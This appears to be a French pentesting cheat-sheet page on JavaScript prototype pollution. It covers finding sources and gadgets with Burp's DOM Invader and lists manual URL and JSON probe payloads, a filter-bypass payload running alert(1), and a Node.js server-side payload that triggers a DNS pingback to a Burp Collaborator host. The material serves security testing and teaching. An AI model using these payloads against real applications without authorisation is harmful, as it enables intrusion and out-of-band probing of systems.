🥡Prototype pollution

Description

La pollution de prototype est une vulnérabilité JavaScript qui permet à un attaquant d'ajouter des propriétés arbitraires aux prototypes d'objets globaux, qui peuvent ensuite être héritées par des objets définis par l'utilisateur.

Bien que la pollution prototype soit souvent inexploitable seule, elle permet à un attaquant de contrôler les propriétés d'objets qui seraient autrement inaccessibles. Si l'application gère ensuite une propriété contrôlée par un attaquant de manière non sécurisée, cela peut potentiellement être lié à d'autres vulnérabilités. En JavaScript côté client, cela conduit généralement à des DOM XSS.

Prérequis

  • Une source (URL, Entrée JSON, Message Web)

  • Sink (Une fonction Javascript ou un élément du DOM permettant une execution de code)

  • Un gadget exploitable (Une propriété passant par un sink sans filtration ou validation correcte)

Exemples d'exploitation

Côté client

Recherche de source

Automatique:

On peut utiliser l'extension de navigateur burp invader pour cela. Il suffit alors de se rendre dans l'extension, d'aller dans les paramètres et d'activer la fonction prototype pollution.

Si l'extension trouve des potentielles pollutions, on peut alors utiliser le bouton "Test" à côté des résultats pour que DOM invader propose un PoC.

Afin de vérifier le bon fonctionnement de ce PoC, on va alors se rendre dans la console du n'avigateur, créer un nouvel objet JavaScript (let myObject = {};) puis confirmer que l'objet créé a bien hérité des propriété du PoC.

console.log(myObject.testproperty);
// Output: 'DOM_INVADER_PP_POC'

Manuel:

essayer de créer une propriété avec:

Dans url:

?__proto__[foo]=bar
?__proto__.foo=bar
?constructor[prototype][foo]=bar
?constructor.prototype.foo=bar
?__proto__.__proto__.foo=bar
...

Dans JSON

{
 "__proto__": {
    "foo": "bar"
  }
}

{
 "__proto__": {
    "__proto__": {
       "foo": "bar"
    }
  }
}

Vérification dans console:

let myObj = {};
console.log(myObj.foo)

Recherche d'un gadget

DOM Invader permet également d'automatiser cette étape via le bouton "Scan for gadget" que l'on peut retrouver à côté du bouton "Test" dans les résultats.

Une fois le scan terminé, DOM Invader remontra alors tous les sink pouvant être accédé depuis la pollution de prototype.

Exploit

Finalement, si c'est possible, DOM Invader permet de créer un PoC d'exploitation afin de confirmer la vulnérabilité.

Bypass de filtre

/?__pro__proto__to__[foo]=data:,alert(1);

Côté Serveur

Peut souvent entraîner un DoS.

Server-side prototype pollution scanner: https://portswigger.net/bappstore/c1d4bd60626d4178a54d36ee802cf7e8

DNS pingback (NodeJS)

{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=your\"\".burpcollab\"\".com"
  }
}

Dernière mise à jour